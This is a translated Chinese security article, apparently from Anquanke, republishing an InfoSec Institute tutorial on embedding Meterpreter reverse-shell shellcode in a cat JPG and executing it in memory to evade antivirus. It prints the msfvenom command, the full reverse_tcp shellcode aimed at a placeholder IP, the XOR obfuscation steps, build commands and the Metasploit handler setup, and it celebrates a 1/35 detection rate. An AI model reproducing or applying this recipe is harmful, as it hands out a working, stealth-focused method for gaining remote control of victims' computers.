2017-04-01 10:34:10
来源:infosecinstitute.com 作者:興趣使然的小胃
阅读:91次
点赞(0)
收藏
翻译:興趣使然的小胃
预估稿费:190RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
猫咪是互联网的宠儿,这也是我为什么会考虑将猫咪和恶意软件联系在一起。
在某个偶然场合下,我接触到了一种比较特别的代码执行方法,其中涉及到某些可执行文件和一张图片。通常情况下,程序会下载图片文件,将该文件转化为可执行文件然后再运行。这种方法技术比较粗糙,可以在某些方面进行改进。
比如这种方法存在文件落盘行为,容易被反病毒软件检测出来。你可以通过内存执行方式来解决这个问题。然而,这么做的话你会遇到另一个问题,那就是你需要修改可执行文件中的IAT(Import Address Table,导入函数表)以及其他方面内容,因为可执行文件需要加载到其他程序的共享地址空间。
本文提出了一种方法,可以将shellcode嵌入到一张图片中,利用程序在堆中分配空间,下载远程图片然后执行图片中的shellcode。
这种方法使用内存运行方式,不容易被检测分析。在本文案例中,我们将使用一张JPG图片完成此项任务。
二、环境准备
你需要具备以下条件:
1、windows系统
2、linux工具
3、汇编知识
4、了解基本的MSFVenom载荷生成方法
5、编辑器:HexEditor(或WxHexEditor)
6、安装GCC并添加到$PATH环境变量中
7、安装Nasm并添加到$PATH环境变量中
其他可选条件:
8、调试器:Ollydbg或x64dbg
9、将ASM指令转换为Op代码的工具。我使用的是Ram Michael的MultiLine Ultimate Assembler插件:MUA插件
三、前期处理
由于可执行文件的执行过程总是遵循从头部到尾部的顺序,因此我们需要掌握在内存中运行自定义载荷的方法。当你通过HTTP方式下载一个文件时,你会收到HTTP响应头和紧跟其后的文件内容。由于响应头位置靠前且大小不固定,我们难以预测需要跳转到哪个具体位置来执行代码。我们能做的就是将载荷信息放到图片尾部,将这段载荷拷贝到堆上的另一块内存空间,然后跳转到对应位置。
插入载荷后的图片二进制数据如下所示:
JPEG图片头:FFD8FFE00010 JFIFASCII字符:4A464946 图片字节数据 图片字节数据 载荷尾部:CCCCCCCC 载荷中部:BBBBBBBB 载荷头部:AAAAAAAA我们需要分配内存空间,跳转到载荷中的AA AA AA AA处并翻转载荷数据。载荷在内存中翻转后的内容如下:
载荷头部:AAAAAAAA 载荷中部:BBBBBBBB 载荷尾部:CCCCCCCC这一步完成后,我们只要跳转到正确地址就能顺利运行载荷。
本例中,我编写了一个简单的混淆器,对载荷进行异或处理,通过混淆器还原并运行载荷。
这个混淆器将载荷按WORD大小分割为多段数据,将FFFF添加到每段数据前头,通过逐位运算移除FFFF,将处理后的WORD添加到DWORD的第一部分,然后再添加下一个WORD数据到DWORD的第二部分。处理过程如下所示:
Moveax,FFFFAABB;将数据Move到EAX Andeax,FFFF;移除头部的FFFF Movebx,FFFFCCDD;将数据Move到EBX Movax,bx;EAX填充为AABBCCDD Pusheax;压入栈中 Jmpesp;跳转到载荷在栈中的地址并执行出于混淆目的,我的代码中添加了一些异或处理过程,如果你有任何疑问,可以仔细研读代码并亲自动手试试代码的输出结果。
四、开始工作
我们先介绍一下如何使用MSFVENOM生成一段简单的载荷。你需要根据实际情况修改以下命令中的LPORT和LHOST参数值:
msfvenom-ax86–platformwindows-pwindows/meterpreter/reverse_tcpLHOST=1.2.3.4LPORT=5555-fc输出结果如下所示,我标粗了其中的IP数据,以便读者替换为自己的IP(可以使用IP/Hex Converter这个工具)。
“\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30” “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff” “\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52” “\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1” “\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b” “\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03” “\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b” “\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24” “\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb” “\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c” “\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68” “\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x01\x02\x03\x04\x68\x02″ “\x00\x15\xb3\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea” “\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61” “\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00” “\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83” “\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a” “\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57” “\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00” “\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68” “\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff” “\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00” “\x53\xff\xd5”;在我的混淆器中,将“SHELLCODE GOES HERE”这段替换为上述数据。使用如下gcc命令编译混淆器源码:
Gcc-std=c11LazyBitmaskEncoder.c-oencoder.exe将程序的输出结果导出到文件中:
encoder.exe>somefile.txt在本文案例中,我有个值为31的额外字节,程序的警告信息提示我应该将它转化为经过异或处理的Nop指令(即7E),如下所示:
现在我们需要得到上述汇编代码的字节码,网上可能有在线工具将汇编语言转化为字节码,在这里我使用的是Ram Michael开发的用于OllyDbg或X64dbg的MUA插件,如下所示:
接下来我们选中这些字节码,在软件右键菜单中,选择“编辑”、“二进制拷贝”,将字节码拷贝出来。你也可以通过CTRL+INSERT组合键完成这个过程。
然后我们将这些字节码附到图片的尾部。如前文所述,我们需要以相反顺序将它们附到图像尾部。在Linux中,要做到这一点十分简单。
以下是未做顺序变换处理前的字节码数据。
我将这些数据保存到为“moo”文件,运行如下命令以获得正确顺序的数据。
foriin`catmoo`;doecho$i;done|tac|sed‘:a;N;$!ba;s/\n//g’现在我们需要将处理后的数据插入到图片中。选一张你最中意的猫咪图片,我选了如下一张暹罗猫图片。
接下来是将那个shellcode拷贝到图片中。我们可以使用WxHexEditor以二进制形式打开图片,复制图片中的字节数据。需要时刻提醒自己,载荷必须放在尾部,如果你发现载荷不在尾部,那么你需要填充多个0x90直到shellcode的起始位置。
图片尾部附加shellcode后如下图所示。保存为图片后,你会发现图像尾部存在一些微小的颜色失真现象。
最后一个步骤,我们需要把这个图片放到Web服务器上,写个简单的程序,下载图片到内存中,跳转到正确地址,执行这段shellcode。最简单的一个方法还是通过汇编语言。
我写了一个汇编程序来完成这个任务。编译命令如下:
nasm-fwin32GhostExe.asm gcc-fno-use-linker-pluginGhostExe.obj-oGhostExe.exe我建议你可以打开调试器,将调试器附加到某个在运行的进程中,一步一步跟下来,观察它执行的步骤以加深理解。
如果你选择使用调试器,你可以看一下GhostExe.exe在00401482位置的偏移量,这是接收数据之后所在的位置。你可以在ECX的尾部看到输出的载荷数据。
或者你可以直接使用Metasploit,运行exe让它自动化执行。
msf>useexploitmulti/handler msf>setpayloadwindows/meterpreter/reverse_tcp msf>setlhost<localIP> msf>setlport<localport> msf>setExitOnSessionfalse msf>exploit-j以下是NoDistrubute.com给出的检测结果,只有1/35的检出率,非常好的一个结果。
五、可选的调试步骤
我们可以看看调试步骤的一些截图
定位到“JMP EAX”指令,这是我们从猫咪图片中跳转到shellcode的指令。
是不是很眼熟:
这就是我们原始的载荷:
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/launching-shellcode-cat-pictures/